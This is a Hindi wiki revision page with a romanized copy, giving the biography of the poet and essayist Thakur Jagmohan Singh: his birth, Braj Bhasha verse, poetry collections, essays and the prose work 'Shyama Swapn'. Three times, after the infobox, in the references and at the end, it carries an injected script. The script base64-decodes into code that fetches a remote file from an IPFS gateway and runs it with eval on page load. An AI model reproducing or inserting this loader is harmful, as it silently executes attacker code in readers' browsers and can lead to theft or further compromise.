Difference between revisions of "ठाकुर जगमोहन सिंह"

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'''ठाकुर जगमोहन सिंह''' (जन्म- [[1857]] ई., [[मध्य प्रदेश]]; मृत्यु- [[4 मार्च]], [[1899]] ई.) प्रसिद्ध साहित्यकार थे। इनका नाम 'भारतेन्दु युग' के सहृदय साहित्य सेवियों में आता है। ये मध्य प्रदेश स्थित विजयराघवगढ़ के राजकुमार और अपने समय के बहुत बड़े विद्यानुरागी थे। आप [[हिन्दी]] के अतिरिक्त [[संस्कृत साहित्य]] के भी अच्छे ज्ञाता थे। इनके समस्त कृतित्व पर संस्कृत अध्ययन की व्यापक छाप है। जगमोहन सिंह ने [[ब्रजभाषा]] के [[कवित्त]] और [[सवैया]] छन्दों में [[कालिदास]] कृत '[[मेघदूत]]' का बहुत सुन्दर अनुवाद भी किया है।
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'''ठाकुर जगमोहन सिंह''' ([[अंग्रेज़ी]]: ''Thakur Jagmohan Singh'', जन्म- [[1857]] ई., [[मध्य प्रदेश]]; मृत्यु- [[4 मार्च]], [[1899]] ई.) प्रसिद्ध साहित्यकार थे। इनका नाम 'भारतेन्दु युग' के सहृदय साहित्य सेवियों में आता है। ये मध्य प्रदेश स्थित विजयराघवगढ़ के राजकुमार और अपने समय के बहुत बड़े विद्यानुरागी थे। आप [[हिन्दी]] के अतिरिक्त [[संस्कृत साहित्य]] के भी अच्छे ज्ञाता थे। इनके समस्त कृतित्व पर संस्कृत अध्ययन की व्यापक छाप है। जगमोहन सिंह ने [[ब्रजभाषा]] के [[कवित्त]] और [[सवैया]] छन्दों में [[कालिदास]] कृत '[[मेघदूत]]' का बहुत सुन्दर अनुवाद भी किया है।
 
==जन्म तथा शिक्षा==
 
==जन्म तथा शिक्षा==
ठाकुर जगमोहन सिंह का जन्म [[श्रावण]] [[शुक्ल पक्ष|शुक्ल]] [[चतुर्दशी]], [[संवत]] 1914 ([[1857]] ई.) को हुआ था। वे विजयराघवगढ़, [[मध्य प्रदेश]] के राजकुमार थे। अपनी शिक्षा के लिए [[काशी]] आने पर उनका परिचय [[भारतेंदु हरिश्चंद्र]] और उनकी मंडली से हुआ। [[हिन्दी]] के अतिरिक्त वे [[संस्कृत साहित्य|संस्कृत]] और [[अंग्रेज़ी साहित्य]] की भी अच्छी जानकारी रखते थे।
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ठाकुर जगमोहन सिंह का जन्म [[श्रावण]] [[शुक्ल पक्ष|शुक्ल]] [[चतुर्दशी]], [[संवत]] 1914 ([[1857]] ई.) को हुआ था। वे विजयराघवगढ़, [[मध्य प्रदेश]] के राजकुमार थे। अपनी शिक्षा के लिए [[काशी]] आने पर उनका परिचय [[भारतेंदु हरिश्चंद्र]] और उनकी मंडली से हुआ। [[हिन्दी]] के अतिरिक्त वे [[संस्कृत साहित्य|संस्कृत]] और [[अंग्रेज़ी साहित्य]] की भी अच्छी जानकारी रखते थे।<ref name="aa">{{पुस्तक संदर्भ |पुस्तक का नाम=हिन्दी साहित्य कोश, भाग 2|लेखक= |अनुवादक= |आलोचक= |प्रकाशक=ज्ञानमण्डल लिमिटेड, वाराणसी|संकलन= भारतकोश पुस्तकालय|संपादन= डॉ. धीरेंद्र वर्मा|पृष्ठ संख्या=202|url=}}</ref>
 
==एक प्रेम-पथिक कवि==
 
==एक प्रेम-पथिक कवि==
 
ठाकुर साहब मूलत: [[कवि]] ही थे। उन्होंने अपनी रचनाओं द्वारा नई और पुरानी दोनों प्रकार की काव्य प्रवृत्तियों का पोषण किया। उन्होंने जो गद्य लिखा है, उस पर भी उनके कवि-व्यक्तित्व की स्पष्ट छाप है। जगमोहन सिंह उन्नीसवीं [[शताब्दी]] के उत्तरार्ध के उन स्वनामधन्य कवियों में प्रमुख माने जाते हैं, "जिन्होंने एक ओर तो [[हिन्दी साहित्य]] की नवीन गति के प्रवर्त्तन में योग दिया, दूसरी ओर पुरानी परिपाठी की [[कविता]] के साथ भी अपना पूरा सम्बन्ध बनाये रखा।" इस सन्दर्भ में [[रामचन्द्र शुक्ल|आचार्य रामचन्द्र शुक्ल]] ने आपको '''एक प्रेम-पथिक कवि''' के रूप में स्मरण किया है।<ref>'हिन्दी साहित्य का इतिहास', संशोधित संस्करण, [[काशी]], [[1948]] ई., पृ. 474, 580</ref>
 
ठाकुर साहब मूलत: [[कवि]] ही थे। उन्होंने अपनी रचनाओं द्वारा नई और पुरानी दोनों प्रकार की काव्य प्रवृत्तियों का पोषण किया। उन्होंने जो गद्य लिखा है, उस पर भी उनके कवि-व्यक्तित्व की स्पष्ट छाप है। जगमोहन सिंह उन्नीसवीं [[शताब्दी]] के उत्तरार्ध के उन स्वनामधन्य कवियों में प्रमुख माने जाते हैं, "जिन्होंने एक ओर तो [[हिन्दी साहित्य]] की नवीन गति के प्रवर्त्तन में योग दिया, दूसरी ओर पुरानी परिपाठी की [[कविता]] के साथ भी अपना पूरा सम्बन्ध बनाये रखा।" इस सन्दर्भ में [[रामचन्द्र शुक्ल|आचार्य रामचन्द्र शुक्ल]] ने आपको '''एक प्रेम-पथिक कवि''' के रूप में स्मरण किया है।<ref>'हिन्दी साहित्य का इतिहास', संशोधित संस्करण, [[काशी]], [[1948]] ई., पृ. 474, 580</ref>
 
==काव्य भाषा==
 
==काव्य भाषा==
जगमोहन सिंह की काव्य भाषा परिमार्जित [[ब्रजभाषा]] थी। सरस शृंगारी भावभूमि को लेकर [[कवित्त]]-[[सवैया]] की रचना करने में आप बहुत निपुण थे। उनकी रचनाओं की एक बहुत बड़ी विशेषता इस बात में है कि वे प्रकृति के ताजा मनोहर चित्रों से अलंकृत हैं। उनमें प्रकृति के विस्तृत सौन्दर्य के प्रति व्यापक अनुराग दृष्टि बिम्बित हुई है। [[छायावाद युग]] आरम्भ होने के कोई 25-30 [[वर्ष]] पूर्व ही जगमोहन सिंह की कृतियों में मानवीय सौन्दर्य को प्राकृतिक सौन्दर्य की तुलनामूलक पृष्ठभूमि में देखने-परखने का एक संकेत उपलब्ध होता है और उस दृष्टि से उनकी तत्कालीन रचनाएँ "हिन्दी काव्य में एक नूतन विधान का आभास देती हैं।"
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जगमोहन सिंह की काव्य भाषा परिमार्जित [[ब्रजभाषा]] थी। सरस शृंगारी भावभूमि को लेकर [[कवित्त]]-[[सवैया]] की रचना करने में आप बहुत निपुण थे। उनकी रचनाओं की एक बहुत बड़ी विशेषता इस बात में है कि वे प्रकृति के ताजा मनोहर चित्रों से अलंकृत हैं। उनमें प्रकृति के विस्तृत सौन्दर्य के प्रति व्यापक अनुराग दृष्टि बिम्बित हुई है। [[छायावाद युग]] आरम्भ होने के कोई 25-30 [[वर्ष]] पूर्व ही जगमोहन सिंह की कृतियों में मानवीय सौन्दर्य को प्राकृतिक सौन्दर्य की तुलनामूलक पृष्ठभूमि में देखने-परखने का एक संकेत उपलब्ध होता है और उस दृष्टि से उनकी तत्कालीन रचनाएँ "हिन्दी काव्य में एक नूतन विधान का आभास देती हैं।"<ref name="aa"/>
 
==कविता संग्रह==
 
==कविता संग्रह==
 
जगमोहन सिंह जी की [[कविता|कविताओं]] के तीन संग्रह प्रसिद्ध हैं-
 
जगमोहन सिंह जी की [[कविता|कविताओं]] के तीन संग्रह प्रसिद्ध हैं-
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हम हारि अरि करि कोटि उपाय, लिखी बहु नेह भरी पतियाँ। जगमोहन मोहनी मूरति के बिना कैसे कटैं दुख की रतियाँ।।"</poem></blockquote>
 
हम हारि अरि करि कोटि उपाय, लिखी बहु नेह भरी पतियाँ। जगमोहन मोहनी मूरति के बिना कैसे कटैं दुख की रतियाँ।।"</poem></blockquote>
 
==निबन्धकार==
 
==निबन्धकार==
ठाकुर जगमोहन सिंह [[हिन्दी]] के अतिरिक्त [[संस्कृत साहित्य]] के भी अच्छे ज्ञाता थे। उनके समस्त कृतित्व पर संस्कृत अध्ययन की व्यापक छाप है। [[ब्रजभाषा]] के [[कवित्त]] और [[सवैया]] छन्दों में [[कालिदास]] कृत '[[मेघदूत]]' का बहुत सुन्दर अनुवाद उन्होंने किया है। जगमोहन सिंह जी अपने समय के उत्कृष्ट गद्य लेखक भी रहे। हिन्दी [[निबन्ध]] के प्रथम उत्थान काल के निबन्धकारों में उनका स्थान महत्त्वपूर्ण है। वे ललित शैली के सरस लेखक थे। उनकी [[भाषा]] बड़ी परिमार्जित एवं संस्कृतगर्भित थी और [[शैली]] प्रबाह युक्त तथा गद्य काव्यात्मक। फिर भी [[हिन्दी]] के आरम्भिक गद्य में उपलब्ध होने वाले पूर्वी प्रयोगों और 'पण्डिताऊपन' की चिंत्य शैली से आप बच नहीं पाये हैं। 'धरे हैं', 'हम क्या करैं', 'चाहती हौ', 'जिसै दूँ' और 'ढोल पिटै' जैसे अशुद्ध प्रयोग उनकी रचनाओं में बहुत अधिक मात्रा में प्राप्त होते हैं।
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ठाकुर जगमोहन सिंह [[हिन्दी]] के अतिरिक्त [[संस्कृत साहित्य]] के भी अच्छे ज्ञाता थे। उनके समस्त कृतित्व पर संस्कृत अध्ययन की व्यापक छाप है। [[ब्रजभाषा]] के [[कवित्त]] और [[सवैया]] छन्दों में [[कालिदास]] कृत '[[मेघदूत]]' का बहुत सुन्दर अनुवाद उन्होंने किया है। जगमोहन सिंह जी अपने समय के उत्कृष्ट गद्य लेखक भी रहे। हिन्दी [[निबन्ध]] के प्रथम उत्थान काल के निबन्धकारों में उनका स्थान महत्त्वपूर्ण है। वे ललित शैली के सरस लेखक थे। उनकी [[भाषा]] बड़ी परिमार्जित एवं संस्कृतगर्भित थी और [[शैली]] प्रबाह युक्त तथा गद्य काव्यात्मक। फिर भी [[हिन्दी]] के आरम्भिक गद्य में उपलब्ध होने वाले पूर्वी प्रयोगों और 'पण्डिताऊपन' की चिंत्य शैली से आप बच नहीं पाये हैं। 'धरे हैं', 'हम क्या करैं', 'चाहती हौ', 'जिसै दूँ' और 'ढोल पिटै' जैसे अशुद्ध प्रयोग उनकी रचनाओं में बहुत अधिक मात्रा में प्राप्त होते हैं।<ref name="aa"/>
  
 
जगमोहन सिंह ने [[आधुनिक काल|आधुनिक युग]] के द्वार पर खड़े होकर शायद पहली बार प्रकृति को वास्तविक अनुराग-दृष्टि से देखा था। आपके कविरूप की यह एक विशेषता है। निबन्धकार के रूप में आपने [[हिन्दी]] की आरम्भिक गद्यशैली को एक साहित्यिक व्यवस्था प्रदान की थी।
 
जगमोहन सिंह ने [[आधुनिक काल|आधुनिक युग]] के द्वार पर खड़े होकर शायद पहली बार प्रकृति को वास्तविक अनुराग-दृष्टि से देखा था। आपके कविरूप की यह एक विशेषता है। निबन्धकार के रूप में आपने [[हिन्दी]] की आरम्भिक गद्यशैली को एक साहित्यिक व्यवस्था प्रदान की थी।
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'श्यामा स्वप्न' जगमोहन सिंह की प्रमुख गद्य कृति है। इसका एक प्रामाणिक स्वरूप श्रीकृष्णलाल द्वारा सम्पादित होकर [[काशी]] की '[[नागरी प्रचारिणी सभा]]' से प्रकाशित हो चुका है। लेखक के समसामयिक युग के सुप्रसिद्ध साहित्यकार [[अम्बिकादत्त व्यास]] ने इस कृति को गद्य-काव्य कहा है। स्वयं लेखक ने इसे "गद्यप्रधान चार खण्डों में एक कल्पना" कहा है। यह वाक्यांश इस पुस्तक के मुख पृष्ठ पर अंकित है। इसमें गद्य और पद्य दोनों का प्रयोग किया गया है, किंतु गद्य की तुलना में पद्य की मात्रा बहुत कम है। यह कृति वस्तुत: एक भावप्रधान [[उपन्यास]] है। उसकी [[शैली]] वर्णनात्मक है और इसमें चरित्र-चित्रण की उपेक्षा करके प्रकृति तथा प्रेममय जीवन के सुन्दर चित्र अंकित किये गये हैं।
 
'श्यामा स्वप्न' जगमोहन सिंह की प्रमुख गद्य कृति है। इसका एक प्रामाणिक स्वरूप श्रीकृष्णलाल द्वारा सम्पादित होकर [[काशी]] की '[[नागरी प्रचारिणी सभा]]' से प्रकाशित हो चुका है। लेखक के समसामयिक युग के सुप्रसिद्ध साहित्यकार [[अम्बिकादत्त व्यास]] ने इस कृति को गद्य-काव्य कहा है। स्वयं लेखक ने इसे "गद्यप्रधान चार खण्डों में एक कल्पना" कहा है। यह वाक्यांश इस पुस्तक के मुख पृष्ठ पर अंकित है। इसमें गद्य और पद्य दोनों का प्रयोग किया गया है, किंतु गद्य की तुलना में पद्य की मात्रा बहुत कम है। यह कृति वस्तुत: एक भावप्रधान [[उपन्यास]] है। उसकी [[शैली]] वर्णनात्मक है और इसमें चरित्र-चित्रण की उपेक्षा करके प्रकृति तथा प्रेममय जीवन के सुन्दर चित्र अंकित किये गये हैं।
 
==निधन==
 
==निधन==
ठाकुर जगमोहन सिंह की मृत्यु 42 [[वर्ष]] की आयु में [[4 मार्च]], [[1899]] ई. में हुई।  
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ठाकुर जगमोहन सिंह की मृत्यु 42 [[वर्ष]] की आयु में [[4 मार्च]], [[1899]] ई. में हुई।<ref name="aa"/>
  
 
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Revision as of 10:29, 20 May 2015

thakur jagamohan sianh
poora nam thakur jagamohan sianh
janm 1857 ee.
janm bhoomi vijayaraghavagadh, madhy pradesh
mrityu 4 march, 1899 ee.
karm bhoomi bharat
mukhy rachanaean 'prem sampatti lata', 'shyama lata', 'shyama-sarojini' tatha 'shyam shvapn' adi.
bhasha hindi, brajabhasha, sanskrit
prasiddhi sahityakar
nagarikata bharatiy
any janakari jagamohan sianh hindi ke atirikt sanskrit sahity ke bhi achchhe jnata the. unake samast krititv par sanskrit adhyayan ki vyapak chhap hai. brajabhasha ke kavitt aur savaiya chhandoan mean kalidas krit 'meghadoot' ka bahut sundar anuvad unhoanne kiya hai.
inhean bhi dekhean kavi soochi, sahityakar soochi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thakur jagamohan sianh (aangrezi: Thakur Jagmohan Singh, janm- 1857 ee., madhy pradesh; mrityu- 4 march, 1899 ee.) prasiddh sahityakar the. inaka nam 'bharatendu yug' ke sahriday sahity seviyoan mean ata hai. ye madhy pradesh sthit vijayaraghavagadh ke rajakumar aur apane samay ke bahut b de vidyanuragi the. ap hindi ke atirikt sanskrit sahity ke bhi achchhe jnata the. inake samast krititv par sanskrit adhyayan ki vyapak chhap hai. jagamohan sianh ne brajabhasha ke kavitt aur savaiya chhandoan mean kalidas krit 'meghadoot' ka bahut sundar anuvad bhi kiya hai.

janm tatha shiksha

thakur jagamohan sianh ka janm shravan shukl chaturdashi, sanvat 1914 (1857 ee.) ko hua tha. ve vijayaraghavagadh, madhy pradesh ke rajakumar the. apani shiksha ke lie kashi ane par unaka parichay bharateandu harishchandr aur unaki mandali se hua. hindi ke atirikt ve sanskrit aur aangrezi sahity ki bhi achchhi janakari rakhate the.[1]

ek prem-pathik kavi

thakur sahab moolat: kavi hi the. unhoanne apani rachanaoan dvara nee aur purani donoan prakar ki kavy pravrittiyoan ka poshan kiya. unhoanne jo gady likha hai, us par bhi unake kavi-vyaktitv ki spasht chhap hai. jagamohan sianh unnisavian shatabdi ke uttarardh ke un svanamadhany kaviyoan mean pramukh mane jate haian, "jinhoanne ek or to hindi sahity ki navin gati ke pravarttan mean yog diya, doosari or purani paripathi ki kavita ke sath bhi apana poora sambandh banaye rakha." is sandarbh mean achary ramachandr shukl ne apako ek prem-pathik kavi ke roop mean smaran kiya hai.[2]

kavy bhasha

jagamohan sianh ki kavy bhasha parimarjit brajabhasha thi. saras shriangari bhavabhoomi ko lekar kavitt-savaiya ki rachana karane mean ap bahut nipun the. unaki rachanaoan ki ek bahut b di visheshata is bat mean hai ki ve prakriti ke taja manohar chitroan se alankrit haian. unamean prakriti ke vistrit saundary ke prati vyapak anurag drishti bimbit huee hai. chhayavad yug arambh hone ke koee 25-30 varsh poorv hi jagamohan sianh ki kritiyoan mean manaviy saundary ko prakritik saundary ki tulanamoolak prishthabhoomi mean dekhane-parakhane ka ek sanket upalabdh hota hai aur us drishti se unaki tatkalin rachanaean "hindi kavy mean ek nootan vidhan ka abhas deti haian."[1]

kavita sangrah

jagamohan sianh ji ki kavitaoan ke tin sangrah prasiddh haian-

  1. prem sampatti lata (1885 ee.)
  2. shyama lata (1885 ee.)
  3. shyama-sarojini (1886 ee.)

shriangarik rachana

'prem sampatti lata' se inaki ek bahuuddhrit shriangarik rachana (savaiya) nimnaankit hai-

"ab yoan ur avat hai sajani, mili jauan gare lagi kai chhatiyaan. manaki kari bhaanti anekan au mili kijiy ri ras ki katiyaan..
ham hari ari kari koti upay, likhi bahu neh bhari patiyaan. jagamohan mohani moorati ke bina kaise kataian dukh ki ratiyaan.."

nibandhakar

thakur jagamohan sianh hindi ke atirikt sanskrit sahity ke bhi achchhe jnata the. unake samast krititv par sanskrit adhyayan ki vyapak chhap hai. brajabhasha ke kavitt aur savaiya chhandoan mean kalidas krit 'meghadoot' ka bahut sundar anuvad unhoanne kiya hai. jagamohan sianh ji apane samay ke utkrisht gady lekhak bhi rahe. hindi nibandh ke pratham utthan kal ke nibandhakaroan mean unaka sthan mahattvapoorn hai. ve lalit shaili ke saras lekhak the. unaki bhasha b di parimarjit evan sanskritagarbhit thi aur shaili prabah yukt tatha gady kavyatmak. phir bhi hindi ke arambhik gady mean upalabdh hone vale poorvi prayogoan aur 'panditaoopan' ki chianty shaili se ap bach nahian paye haian. 'dhare haian', 'ham kya karaian', 'chahati hau', 'jisai dooan' aur 'dhol pitai' jaise ashuddh prayog unaki rachanaoan mean bahut adhik matra mean prapt hote haian.[1]

jagamohan sianh ne adhunik yug ke dvar par kh de hokar shayad pahali bar prakriti ko vastavik anurag-drishti se dekha tha. apake kaviroop ki yah ek visheshata hai. nibandhakar ke roop mean apane hindi ki arambhik gadyashaili ko ek sahityik vyavastha pradan ki thi.

kriti 'shyama svapn'

'shyama svapn' jagamohan sianh ki pramukh gady kriti hai. isaka ek pramanik svaroop shrikrishnalal dvara sampadit hokar kashi ki 'nagari pracharini sabha' se prakashit ho chuka hai. lekhak ke samasamayik yug ke suprasiddh sahityakar ambikadatt vyas ne is kriti ko gady-kavy kaha hai. svayan lekhak ne ise "gadyapradhan char khandoan mean ek kalpana" kaha hai. yah vakyaansh is pustak ke mukh prishth par aankit hai. isamean gady aur pady donoan ka prayog kiya gaya hai, kiantu gady ki tulana mean pady ki matra bahut kam hai. yah kriti vastut: ek bhavapradhan upanyas hai. usaki shaili varnanatmak hai aur isamean charitr-chitran ki upeksha karake prakriti tatha premamay jivan ke sundar chitr aankit kiye gaye haian.

nidhan

thakur jagamohan sianh ki mrityu 42 varsh ki ayu mean 4 march, 1899 ee. mean huee.[1]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. 1.0 1.1 1.2 1.3 hindi sahity kosh, bhag 2 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 202 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. 'hindi sahity ka itihas', sanshodhit sanskaran, kashi, 1948 ee., pri. 474, 580

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>